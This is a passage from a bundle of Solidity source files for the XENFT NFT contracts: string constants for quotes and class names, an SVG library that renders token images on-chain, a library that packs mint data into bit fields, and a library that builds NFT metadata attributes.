Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
